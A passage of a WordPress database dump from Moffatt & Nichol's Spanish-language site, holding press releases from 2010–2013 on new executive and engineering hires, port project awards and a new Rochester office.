16:42:22','',1399,'http://moffattnichol.com/spanish/1399-revision-15/',0,'revision','',0),(2805,1,'2013-12-05 19:14:19','2013-12-05 19:14:19','','Gerald','','inherit','open','open','','gerald','','','2013-12-05 19:14:19','2013-12-05 19:14:19','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg',0,'attachment','image/jpeg',0),(2806,1,'2013-12-04 16:37:33','2013-12-04 16:37:33','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en 